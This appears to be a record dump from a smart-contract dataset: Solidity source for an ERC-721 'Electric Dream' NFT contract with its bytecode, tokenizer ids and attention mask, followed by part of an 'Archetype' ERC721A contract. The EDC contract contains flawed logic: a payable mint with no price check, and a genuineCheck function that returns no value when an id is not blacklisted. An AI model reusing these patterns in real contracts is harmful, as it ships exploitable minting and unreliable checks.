to payable. * @param _from The current owner of the NFT. * @param _to The new owner. * @param _tokenId The NFT to transfer. */ function transferFrom( address _from, address _to, uint256 _tokenId ) external override canTransfer(_tokenId) validNFToken(_tokenId) { address tokenOwner = idToOwner[_tokenId]; require(tokenOwner == _from, NOT_OWNER); require(_to != address(0), ZERO_ADDRESS); _transfer(_to, _tokenId); } /** * @notice The zero address indicates there is no approved address. Throws unless `msg.sender` is * the current NFT owner, or an authorized operator of the current owner. * @dev Set or reaffirm the approved address for an NFT. This function can be changed to payable. * @param _approved Address to be approved for the given NFT ID. * @param _tokenId ID of the token to be approved. */ function approve( address _approved, uint256 _tokenId ) external override canOperate(_tokenId) validNFToken(_tokenId) { address tokenOwner = idToOwner[_tokenId]; require(_approved != tokenOwner, IS_OWNER); idToApproval[_tokenId] = _approved; emit Approval(tokenOwner, _approved, _tokenId); } /** * @notice This works even if sender doesn't own any tokens at the time. * @dev Enables or disables approval for a third party ("operator") to manage all of * `msg.sender`'s assets. It also emits the ApprovalForAll event. * @param _operator Address to add to the set of authorized operators. * @param _approved True if the operators is approved, false to revoke approval. */ function setApprovalForAll( address _operator, bool _approved ) external override { ownerToOperators[msg.sender][_operator] = _approved; emit ApprovalForAll(msg.sender, _operator, _approved); } /** * @dev Returns the number of NFTs owned by `_owner`. NFTs assigned to the zero address are * considered invalid, and this function throws for queries about the zero address. * @param _owner Address for whom to query the balance. * @return Balance of _owner. */ function balanceOf( address _owner ) external override view returns (uint256) { require(_owner != address(0), ZERO_ADDRESS); return _getOwnerNFTCount(_owner); } /** * @dev Returns the address of the owner of the NFT. NFTs assigned to the zero address are * considered invalid, and queries about them do throw. * @param _tokenId The identifier for an NFT. * @return _owner Address of _tokenId owner. */ function ownerOf( uint256 _tokenId ) external override view returns (address _owner) { _owner = idToOwner[_tokenId]; require(_owner != address(0), NOT_VALID_NFT); } /** * @notice Throws if `_tokenId` is not a valid NFT. * @dev Get the approved address for a single NFT. * @param _tokenId ID of the NFT to query the approval of. * @return Address that _tokenId is approved for. */ function getApproved( uint256 _tokenId ) external override view validNFToken(_tokenId) returns (address) { return idToApproval[_tokenId]; } /** * @dev Checks if `_operator` is an approved operator for `_owner`. * @param _owner The address that owns the NFTs. * @param _operator The address that acts on behalf of the owner. * @return True if approved for all, false otherwise. */ function isApprovedForAll( address _owner, address _operator ) external override view returns (bool) { return ownerToOperators[_owner][_operator]; } /** * @notice Does NO checks. * @dev Actually performs the transfer. * @param _to Address of a new owner. * @param _tokenId The NFT that is being transferred. */ function _transfer( address _to, uint256 _tokenId ) internal { address from = idToOwner[_tokenId]; _clearApproval(_tokenId); _removeNFToken(from, _tokenId); _addNFToken(_to, _tokenId); emit Transfer(from, _to, _tokenId); } /** * @notice This is an internal function which should be called from user-implemented external * mint function. Its purpose is to show and properly initialize data structures when using this * implementation. * @dev Mints a new NFT. * @param _to The address that will own the minted NFT. * @param _tokenId of the NFT to be minted by the msg.sender. */ function _mint( address _to, uint256 _tokenId ) internal virtual { require(_to != address(0), ZERO_ADDRESS); require(idToOwner[_tokenId] == address(0), NFT_ALREADY_EXISTS); _addNFToken(_to, _tokenId); emit Transfer(address(0), _to, _tokenId); } /** * @notice This is an internal function which should be called from user-implemented external burn * function. Its purpose is to show and properly initialize data structures when using this * implementation. Also, note that this burn implementation allows the minter to re-mint a burned * NFT. * @dev Burns a NFT. * @param _tokenId ID of the NFT to be burned. */ function _burn( uint256 _tokenId ) internal virtual validNFToken(_tokenId) { address tokenOwner = idToOwner[_tokenId]; _clearApproval(_tokenId); _removeNFToken(tokenOwner, _tokenId); emit Transfer(tokenOwner, address(0), _tokenId); } /** * @notice Use and override this function with caution. Wrong usage can have serious consequences. * @dev Removes a NFT from owner. * @param _from Address from which we want to remove the NFT. * @param _tokenId Which NFT we want to remove. */ function _removeNFToken( address _from, uint256 _tokenId ) internal virtual { require(idToOwner[_tokenId] == _from, NOT_OWNER); ownerToNFTokenCount[_from] -= 1; delete idToOwner[_tokenId]; } /** * @notice Use and override this function with caution. Wrong usage can have serious consequences. * @dev Assigns a new NFT to owner. * @param _to Address to which we want to add the NFT. * @param _tokenId Which NFT we want to add. */ function _addNFToken( address _to, uint256 _tokenId ) internal virtual { require(idToOwner[_tokenId] == address(0), NFT_ALREADY_EXISTS); idToOwner[_tokenId] = _to; ownerToNFTokenCount[_to] += 1; } /** * @dev Helper function that gets NFT count of owner. This is needed for overriding in enumerable * extension to remove double storage (gas optimization) of owner NFT count. * @param _owner Address for whom to query the count. * @return Number of _owner NFTs. */ function _getOwnerNFTCount( address _owner ) internal virtual view returns (uint256) { return ownerToNFTokenCount[_owner]; } /** * @dev Actually perform the safeTransferFrom. * @param _from The current owner of the NFT. * @param _to The new owner. * @param _tokenId The NFT to transfer. * @param _data Additional data with no specified format, sent in call to `_to`. */ function _safeTransferFrom( address _from, address _to, uint256 _tokenId, bytes memory _data ) private canTransfer(_tokenId) validNFToken(_tokenId) { address tokenOwner = idToOwner[_tokenId]; require(tokenOwner == _from, NOT_OWNER); require(_to != address(0), ZERO_ADDRESS); _transfer(_to, _tokenId); if (_to.isContract()) { bytes4 retval = ERC721TokenReceiver(_to).onERC721Received(msg.sender, _from, _tokenId, _data); require(retval == MAGIC_ON_ERC721_RECEIVED, NOT_ABLE_TO_RECEIVE_NFT); } } /** * @dev Clears the current approval of a given NFT ID. * @param _tokenId ID of the NFT to be transferred. */ function _clearApproval( uint256 _tokenId ) private { delete idToApproval[_tokenId]; } } // File: contracts/tokens/nf-token-metadata.sol pragma solidity 0.8.6; /** * @dev Optional metadata implementation for ERC-721 non-fungible token standard. */ contract NFTokenMetadata is NFToken, ERC721Metadata { /** * @dev A descriptive name for a collection of NFTs. */ string internal nftName; /** * @dev An abbreviated name for NFTokens. */ string internal nftSymbol; /** * @dev Mapping from NFT ID to metadata uri. */ mapping (uint256 => string) internal idToUri; /** * @notice When implementing this contract don't forget to set nftName and nftSymbol. * @dev Contract constructor. */ constructor() { supportedInterfaces[0x5b5e139f] = true; // ERC721Metadata } /** * @dev Returns a descriptive name for a collection of NFTokens. * @return _name Representing name. */ function name() external override view returns (string memory _name) { _name = nftName; } /** * @dev Returns an abbreviated name for NFTokens. * @return _symbol Representing symbol. */ function symbol() external override view returns (string memory _symbol) { _symbol = nftSymbol; } /** * @dev A distinct URI (RFC 3986) for a given NFT. * @param _tokenId Id for which we want uri. * @return URI of _tokenId. */ function tokenURI( uint256 _tokenId ) external override view validNFToken(_tokenId) returns (string memory) { return idToUri[_tokenId]; } /** * @notice This is an internal function which should be called from user-implemented external * burn function. Its purpose is to show and properly initialize data structures when using this * implementation. Also, note that this burn implementation allows the minter to re-mint a burned * NFT. * @dev Burns a NFT. * @param _tokenId ID of the NFT to be burned. */ function _burn( uint256 _tokenId ) internal override virtual { super._burn(_tokenId); delete idToUri[_tokenId]; } /** * @notice This is an internal function which should be called from user-implemented external * function. Its purpose is to show and properly initialize data structures when using this * implementation. * @dev Set a distinct URI (RFC 3986) for a given NFT ID. * @param _tokenId Id for which we want URI. * @param _uri String representing RFC 3986 URI. */ function _setTokenUri( uint256 _tokenId, string memory _uri ) internal validNFToken(_tokenId) { idToUri[_tokenId] = _uri; } } // File: EDC.sol pragma solidity ^0.8.6; contract EDC is NFTokenMetadata, Ownable { mapping (uint256 => bool) public IdList; mapping (address => uint256) public hasPaid; uint256 _lastTokenId = 0; address payout = 0xCbeb3C6aEC7040e4949F22234573bd06B31DE83b; bool openMinting = true; mapping (uint256 => bool) public blacklistedId; uint256 maxMint = 100000000000; constructor() { nftName = "Electric Dream"; nftSymbol = "EDC"; } function setHasPaid(address addy, uint256 howmuch) public onlyOwner{ hasPaid[addy] = howmuch; } function blacklistId(uint256 id, bool status) public onlyOwner { blacklistedId[id] = status; } function isBlacklisted(uint256 id) public onlyOwner returns(bool) { return blacklistedId[id]; } function genuineCheck(uint256 id) public returns(bool){ if(blacklistedId[id]) { return false; } } function setMaxMint(uint256 mm) public onlyOwner { maxMint = mm; } function mintNFT(address _to, string calldata _uri) payable public { require(openMinting, "Minting is closed"); require(_lastTokenId < maxMint, "Sold out!"); uint256 _tokenId = _lastTokenId + 1; super._mint(_to, _tokenId); super._setTokenUri(_tokenId, _uri); _lastTokenId = _tokenId; } function isMintingOpen(bool status) public onlyOwner { openMinting = status; } function withdrawAll() public payable onlyOwner { uint256 balance = address(this).balance; require(balance > 0); _withdraw(payout, address(this).balance); } function _withdraw(address _address, uint256 _amount) private { (bool success, ) = _address.call{value: _amount}(""); require(success, "Transfer failed."); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c80636352211e1161008c578063a22cb46511610066578063a22cb465146101cd578063b88d4fde146101e0578063c87b56dd146101f3578063e985e9c51461020657600080fd5b80636352211e1461019157806370a08231146101a457806395d89b41146101c557600080fd5b806301ffc9a7146100d457806306fdde0314610116578063081812fc1461012b578063095ea7b31461015657806323b872dd1461016b57806342842e0e1461017e575b600080fd5b6101016100e2366004610fc2565b6001600160e01b03191660009081526020819052604090205460ff1690565b60405190151581526020015b60405180910390f35b61011e610242565b60405161010d919061109f565b61013e610139366004610ffc565b6102d4565b6040516001600160a01b03909116815260200161010d565b610169610164366004610f98565b610356565b005b610169610179366004610e85565b6104f8565b61016961018c366004610e85565b6106b3565b61013e61019f366004610ffc565b6106d3565b6101b76101b2366004610e30565b61072b565b60405190815260200161010d565b61011e61078f565b6101696101db366004610f5c565b61079e565b6101696101ee366004610ec1565b61080a565b61011e610201366004610ffc565b610853565b610101610214366004610e52565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205460ff1690565b606060058054610251906110e1565b80601f016020809104026020016040519081016040528092919081815260200182805461027d906110e1565b80156102ca5780601f1061029f576101008083540402835291602001916102ca565b820191906000526020600020905b8154815290600101906020018083116102ad57829003601f168201915b5050505050905090565b6000818152600160209081526040808320548151808301909252600682526518181998181960d11b9282019290925283916001600160a01b03166103345760405162461bcd60e51b815260040161032b919061109f565b60405180910390fd5b506000838152600260205260409020546001600160a01b031691505b50919050565b60008181526001602052604090205481906001600160a01b0316338114806103a157506001600160a01b038116600090815260046020908152604080832033845290915290205460ff165b6040518060400160405280600681526020016530303330303360d01b815250906103de5760405162461bcd60e51b815260040161032b919061109f565b50600083815260016020908152604091829020548251808401909352600683526518181998181960d11b918301919091528491906001600160a01b03166104385760405162461bcd60e51b815260040161032b919061109f565b50600084815260016020908152604091829020548251808401909352600683526506060666060760d31b918301919091526001600160a01b03908116919087168214156104985760405162461bcd60e51b815260040161032b919061109f565b5060008581526002602052604080822080546001600160a01b0319166001600160a01b038a811691821790925591518893918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050505050565b60008181526001602052604090205481906001600160a01b03163381148061053657506000828152600260205260409020546001600160a01b031633145b8061056457506001600160a01b038116600090815260046020908152604080832033845290915290205460ff165b604051806040016040528060068152602001650c0c0ccc0c0d60d21b815250906105a15760405162461bcd60e51b815260040161032b919061109f565b50600083815260016020908152604091829020548251808401909352600683526518181998181960d11b918301919091528491906001600160a01b03166105fb5760405162461bcd60e51b815260040161032b919061109f565b50600084815260016020908152604091829020548251808401909352600683526530303330303760d01b918301919091526001600160a01b0390811691908816821461065a5760405162461bcd60e51b815260040161032b919061109f565b5060408051808201909152600681526530303330303160d01b60208201526001600160a01b03871661069f5760405162461bcd60e51b815260040161032b919061109f565b506106aa868661094e565b50505050505050565b6106ce838383604051806020016040528060008152506109d9565b505050565b600081815260016020908152604091829020548251808401909352600683526518181998181960d11b918301919091526001600160a01b031690816103505760405162461bcd60e51b815260040161032b919061109f565b60408051808201909152600681526530303330303160d01b60208201526000906001600160a01b0383166107725760405162461bcd60e51b815260040161032b919061109f565b50506001600160a01b031660009081526003602052604090205490565b606060068054610251906110e1565b3360008181526004602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b61084c85858585858080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152506109d992505050565b5050505050565b600081815260016020908152604091829020548251808401909352600683526518181998181960d11b9183019190915260609183916001600160a01b03166108ae5760405162461bcd60e51b815260040161032b919061109f565b50600083815260076020526040902080546108c8906110e1565b80601f01602080910402602001604051908101604052809291908181526020018280546108f4906110e1565b80156109415780601f1061091657610100808354040283529160200191610941565b820191906000526020600020905b81548152906001019060200180831161092457829003601f168201915b5050505050915050919050565b600081815260016020908152604080832054600290925290912080546001600160a01b03191690556001600160a01b03166109898183610c87565b6109938383610d30565b81836001600160a01b0316826001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b60008281526001602052604090205482906001600160a01b031633811480610a1757506000828152600260205260409020546001600160a01b031633145b80610a4557506001600160a01b038116600090815260046020908152604080832033845290915290205460ff165b604051806040016040528060068152602001650c0c0ccc0c0d60d21b81525090610a825760405162461bcd60e51b815260040161032b919061109f565b50600084815260016020908152604091829020548251808401909352600683526518181998181960d11b918301919091528591906001600160a01b0316610adc5760405162461bcd60e51b815260040161032b919061109f565b50600085815260016020908152604091829020548251808401909352600683526530303330303760d01b918301919091526001600160a01b03908116919089168214610b3b5760405162461bcd60e51b815260040161032b919061109f565b5060408051808201909152600681526530303330303160d01b60208201526001600160a01b038816610b805760405162461bcd60e51b815260040161032b919061109f565b50610b8b878761094e565b610b9d876001600160a01b0316610dd8565b15610c7d57604051630a85bd0160e11b81526000906001600160a01b0389169063150b7a0290610bd79033908d908c908c90600401611062565b602060405180830381600087803b158015610bf157600080fd5b505af1158015610c05573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c299190610fdf565b60408051808201909152600681526530303330303560d01b60208201529091506001600160e01b03198216630a85bd0160e11b14610c7a5760405162461bcd60e51b815260040161032b919061109f565b50505b5050505050505050565b600081815260016020908152604091829020548251808401909352600683526530303330303760d01b918301919091526001600160a01b03848116911614610ce25760405162461bcd60e51b815260040161032b919061109f565b506001600160a01b0382166000908152600360205260408120805460019290610d0c9084906110ca565b9091555050600090815260016020526040902080546001600160a01b031916905550565b600081815260016020908152604091829020548251808401909352600683526518181998181b60d11b918301919091526001600160a01b031615610d875760405162461bcd60e51b815260040161032b919061109f565b50600081815260016020818152604080842080546001600160a01b0319166001600160a01b038816908117909155845260039091528220805491929091610dcf9084906110b2565b90915550505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708115801590610e0c5750808214155b949350505050565b80356001600160a01b0381168114610e2b57600080fd5b919050565b600060208284031215610e4257600080fd5b610e4b82610e14565b9392505050565b60008060408385031215610e6557600080fd5b610e6e83610e14565b9150610e7c60208401610e14565b90509250929050565b600080600060608486031215610e9a57600080fd5b610ea384610e14565b9250610eb160208501610e14565b9150604084013590509250925092565b600080600080600060808688031215610ed957600080fd5b610ee286610e14565b9450610ef060208701610e14565b935060408601359250606086013567ffffffffffffffff80821115610f1457600080fd5b818801915088601f830112610f2857600080fd5b813581811115610f3757600080fd5b896020828501011115610f4957600080fd5b9699959850939650602001949392505050565b60008060408385031215610f6f57600080fd5b610f7883610e14565b915060208301358015158114610f8d57600080fd5b809150509250929050565b60008060408385031215610fab57600080fd5b610fb483610e14565b946020939093013593505050565b600060208284031215610fd457600080fd5b8135610e4b8161112c565b600060208284031215610ff157600080fd5b8151610e4b8161112c565b60006020828403121561100e57600080fd5b5035919050565b6000815180845260005b8181101561103b5760208185018101518683018201520161101f565b8181111561104d576000602083870101525b50601f01601f19169290920160200192915050565b6001600160a01b038581168252841660208201526040810183905260806060820181905260009061109590830184611015565b9695505050505050565b602081526000610e4b6020830184611015565b600082198211156110c5576110c5611116565b500190565b6000828210156110dc576110dc611116565b500390565b600181811c908216806110f557607f821691505b6020821081141561035057634e487b7160e01b600052602260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6001600160e01b03198116811461114257600080fd5b5056fea2646970667358221220b6f8fc3b586f50ddf09a8f4c3d5ba4e429d22895e6f50b834f9e4ef21da21aaf64736f6c63430008060033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2575, 6305, 10790, 2050, 2549, 20952, 22932, 12521, 2050, 24594, 2575, 2546, 2487, 2050, 21472, 2620, 2581, 8270, 2575, 2581, 16086, 2581, 2497, 2620, 17134, 2692, 29097, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 2184, 1011, 2423, 1008, 1013, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 2184, 1011, 2423, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 1020, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 1996, 3206, 2038, 2019, 3954, 4769, 1010, 1998, 3640, 3937, 20104, 2491, 1059, 16584, 2818, 1008, 21934, 24759, 14144, 1996, 7375, 1997, 5310, 6656, 2015, 1012, 2023, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,375
0x96Aca437DADCfD7Cb0242254C9f87F1896674A1f
// SPDX-License-Identifier: MIT // Archetype v0.2.0 // // d8888 888 888 // d88888 888 888 // d88P888 888 888 // d88P 888 888d888 .d8888b 88888b. .d88b. 888888 888 888 88888b. .d88b. // d88P 888 888P" d88P" 888 "88b d8P Y8b 888 888 888 888 "88b d8P Y8b // d88P 888 888 888 888 888 88888888 888 888 888 888 888 88888888 // d8888888888 888 Y88b. 888 888 Y8b. Y88b. Y88b 888 888 d88P Y8b. // d88P 888 888 "Y8888P 888 888 "Y8888 "Y888 "Y88888 88888P" "Y8888 // 888 888 // Y8b d88P 888 // "Y88P" 888 pragma solidity ^0.8.4; import "./ERC721A-Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol"; error InvalidConfig(); error MintNotYetStarted(); error WalletUnauthorizedToMint(); error InsufficientEthSent(); error ExcessiveEthSent(); error MaxSupplyExceeded(); error NumberOfMintsExceeded(); error MintingPaused(); error InvalidReferral(); error InvalidSignature(); error BalanceEmpty(); error TransferFailed(); error MaxBatchSizeExceeded(); error WrongPassword(); error LockedForever(); contract Archetype is Initializable, ERC721AUpgradeable, OwnableUpgradeable { // // EVENTS // event Invited(bytes32 indexed key, bytes32 indexed cid); event Referral(address indexed affiliate, uint128 wad); event Withdrawal(address indexed src, uint128 wad); // // STRUCTS // struct Auth { bytes32 key; bytes32[] proof; } struct Config { string unrevealedUri; string baseUri; address affiliateSigner; uint32 maxSupply; uint32 maxBatchSize; uint32 affiliateFee; uint32 platformFee; } struct Invite { uint128 price; uint64 start; uint64 limit; } struct Invitelist { bytes32 key; bytes32 cid; Invite invite; } struct OwnerBalance { uint128 owner; uint128 platform; } // // VARIABLES // mapping(bytes32 => Invite) public invites; mapping(address => mapping(bytes32 => uint256)) private minted; mapping(address => uint128) public affiliateBalance; address private constant PLATFORM = 0x86B82972282Dd22348374bC63fd21620F7ED847B; // address private constant PLATFORM = 0x3C44CdDdB6a900fa2b585dd299e03d12FA4293BC; // TEST (account[2]) bool public revealed; bool public uriUnlocked; string public provenance; bool public provenanceHashUnlocked; OwnerBalance public ownerBalance; Config public config; // // METHODS // function initialize( string memory name, string memory symbol, Config calldata config_ ) external initializer { __ERC721A_init(name, symbol); // affiliateFee max is 50%, platformFee min is 5% and max is 50% if (config_.affiliateFee > 5000 || config_.platformFee > 5000 || config_.platformFee < 500) { revert InvalidConfig(); } config = config_; __Ownable_init(); revealed = false; uriUnlocked = true; provenanceHashUnlocked = true; } function mint( Auth calldata auth, uint256 quantity, address affiliate, bytes calldata signature ) external payable { Invite memory i = invites[auth.key]; if (affiliate != address(0)) { if (affiliate == PLATFORM || affiliate == owner() || affiliate == msg.sender) { revert InvalidReferral(); } validateAffiliate(affiliate, signature, config.affiliateSigner); } if (i.limit == 0) { revert MintingPaused(); } if (!verify(auth, _msgSender())) { revert WalletUnauthorizedToMint(); } if (block.timestamp < i.start) { revert MintNotYetStarted(); } if (i.limit < config.maxSupply) { uint256 totalAfterMint = minted[_msgSender()][auth.key] + quantity; if (totalAfterMint > i.limit) { revert NumberOfMintsExceeded(); } } if (quantity > config.maxBatchSize) { revert MaxBatchSizeExceeded(); } if ((_currentIndex + quantity) > config.maxSupply) { revert MaxSupplyExceeded(); } uint256 cost = i.price * quantity; if (msg.value < cost) { revert InsufficientEthSent(); } if (msg.value > cost) { revert ExcessiveEthSent(); } _safeMint(msg.sender, quantity); if (i.limit < config.maxSupply) { minted[_msgSender()][auth.key] += quantity; } uint128 value = uint128(msg.value); uint128 affiliateWad = 0; if (affiliate != address(0)) { affiliateWad = (value * config.affiliateFee) / 10000; affiliateBalance[affiliate] += affiliateWad; emit Referral(affiliate, affiliateWad); } OwnerBalance memory balance = ownerBalance; uint128 platformWad = (value * config.platformFee) / 10000; uint128 ownerWad = value - affiliateWad - platformWad; ownerBalance = OwnerBalance({ owner: balance.owner + ownerWad, platform: balance.platform + platformWad }); } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { if (!_exists(tokenId)) revert URIQueryForNonexistentToken(); if (revealed == false) { return string(abi.encodePacked(config.unrevealedUri, Strings.toString(tokenId))); } return bytes(config.baseUri).length != 0 ? string(abi.encodePacked(config.baseUri, Strings.toString(tokenId))) : ""; } function reveal() public onlyOwner { revealed = true; } function _startTokenId() internal view virtual override returns (uint256) { return 1; } /// @notice the password is "forever" function lockURI(string memory password) public onlyOwner { if (keccak256(abi.encodePacked(password)) != keccak256(abi.encodePacked("forever"))) { revert WrongPassword(); } uriUnlocked = false; } function setUnrevealedURI(string memory _unrevealedURI) public onlyOwner { config.unrevealedUri = _unrevealedURI; } function setBaseURI(string memory baseUri_) public onlyOwner { if (!uriUnlocked) { revert LockedForever(); } config.baseUri = baseUri_; } /// @notice Set BAYC-style provenance once it's calculated function setProvenanceHash(string memory provenanceHash) public onlyOwner { if (!provenanceHashUnlocked) { revert LockedForever(); } provenance = provenanceHash; } /// @notice the password is "forever" function lockProvenanceHash(string memory password) public onlyOwner { if (keccak256(abi.encodePacked(password)) != keccak256(abi.encodePacked("forever"))) { revert WrongPassword(); } provenanceHashUnlocked = false; } function withdraw() public { uint128 wad = 0; if (msg.sender == owner() || msg.sender == PLATFORM) { OwnerBalance memory balance = ownerBalance; if (msg.sender == owner()) { wad = balance.owner; ownerBalance = OwnerBalance({ owner: 0, platform: balance.platform }); } else { wad = balance.platform; ownerBalance = OwnerBalance({ owner: balance.owner, platform: 0 }); } } else { wad = affiliateBalance[msg.sender]; affiliateBalance[msg.sender] = 0; } if (wad == 0) { revert BalanceEmpty(); } (bool success, ) = msg.sender.call{ value: wad }(""); if (!success) { revert TransferFailed(); } emit Withdrawal(msg.sender, wad); } function setInvites(Invitelist[] calldata invitelist) external onlyOwner { for (uint256 i = 0; i < invitelist.length; i++) { Invitelist calldata list = invitelist[i]; invites[list.key] = list.invite; emit Invited(list.key, list.cid); } } function setInvite( bytes32 _key, bytes32 _cid, Invite calldata _invite ) external onlyOwner { invites[_key] = _invite; emit Invited(_key, _cid); } // based on: https://github.com/miguelmota/merkletreejs-solidity/blob/master/contracts/MerkleProof.sol function verify(Auth calldata auth, address account) internal pure returns (bool) { if (auth.key == "") return true; bytes32 computedHash = keccak256(abi.encodePacked(account)); for (uint256 i = 0; i < auth.proof.length; i++) { bytes32 proofElement = auth.proof[i]; if (computedHash <= proofElement) { computedHash = keccak256(abi.encodePacked(computedHash, proofElement)); } else { computedHash = keccak256(abi.encodePacked(proofElement, computedHash)); } } return computedHash == auth.key; } function validateAffiliate( address affiliate, bytes memory signature, address affiliateSigner ) internal pure { bytes32 signedMessagehash = ECDSA.toEthSignedMessageHash( keccak256(abi.encodePacked(affiliate)) ); address signer = ECDSA.recover(signedMessagehash, signature); if (signer != affiliateSigner) { revert InvalidSignature(); } } } // SPDX-License-Identifier: MIT // Creator: Chiru Labs pragma solidity ^0.8.4; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/IERC721MetadataUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; // import "./InitializableCustom.sol"; error ApprovalCallerNotOwnerNorApproved(); error ApprovalQueryForNonexistentToken(); error ApproveToCaller(); error ApprovalToCurrentOwner(); error BalanceQueryForZeroAddress(); error MintToZeroAddress(); error MintZeroQuantity(); error OwnerQueryForNonexistentToken(); error TransferCallerNotOwnerNorApproved(); error TransferFromIncorrectOwner(); error TransferToNonERC721ReceiverImplementer(); error TransferToZeroAddress(); error URIQueryForNonexistentToken(); /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension. Built to optimize for lower gas during batch mints. * * Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..). * * Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply. * * Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256). */ contract ERC721AUpgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable { using AddressUpgradeable for address; using StringsUpgradeable for uint256; // Compiler will pack this into a single 256bit word. struct TokenOwnership { // The address of the owner. address addr; // Keeps track of the start time of ownership with minimal overhead for tokenomics. uint64 startTimestamp; // Whether the token has been burned. bool burned; } // Compiler will pack this into a single 256bit word. struct AddressData { // Realistically, 2**64-1 is more than enough. uint64 balance; // Keeps track of mint count with minimal overhead for tokenomics. uint64 numberMinted; // Keeps track of burn count with minimal overhead for tokenomics. uint64 numberBurned; // For miscellaneous variable(s) pertaining to the address // (e.g. number of whitelist mint slots used). // If there are multiple variables, please pack them into a uint64. uint64 aux; } // The tokenId of the next token to be minted. uint256 internal _currentIndex; // The number of tokens burned. uint256 internal _burnCounter; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See _ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; function __ERC721A_init(string memory name_, string memory symbol_) internal onlyInitializing { __ERC721A_init_unchained(name_, symbol_); } function __ERC721A_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing { _name = name_; _symbol = symbol_; _currentIndex = _startTokenId(); } /** * To change the starting tokenId, please override this function. */ function _startTokenId() internal view virtual returns (uint256) { return 0; } /** * @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens. */ function totalSupply() public view returns (uint256) { // Counter underflow is impossible as _burnCounter cannot be incremented // more than _currentIndex - _startTokenId() times unchecked { return _currentIndex - _burnCounter - _startTokenId(); } } /** * Returns the total amount of tokens minted in the contract. */ function _totalMinted() internal view returns (uint256) { // Counter underflow is impossible as _currentIndex does not decrement, // and it is initialized to _startTokenId() unchecked { return _currentIndex - _startTokenId(); } } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) { return interfaceId == type(IERC721Upgradeable).interfaceId || interfaceId == type(IERC721MetadataUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { if (owner == address(0)) revert BalanceQueryForZeroAddress(); return uint256(_addressData[owner].balance); } /** * Returns the number of tokens minted by `owner`. */ function _numberMinted(address owner) internal view returns (uint256) { return uint256(_addressData[owner].numberMinted); } /** * Returns the number of tokens burned by or on behalf of `owner`. */ function _numberBurned(address owner) internal view returns (uint256) { return uint256(_addressData[owner].numberBurned); } /** * Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used). */ function _getAux(address owner) internal view returns (uint64) { return _addressData[owner].aux; } /** * Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used). * If there are multiple variables, please pack them into a uint64. */ function _setAux(address owner, uint64 aux) internal { _addressData[owner].aux = aux; } /** * Gas spent here starts off proportional to the maximum 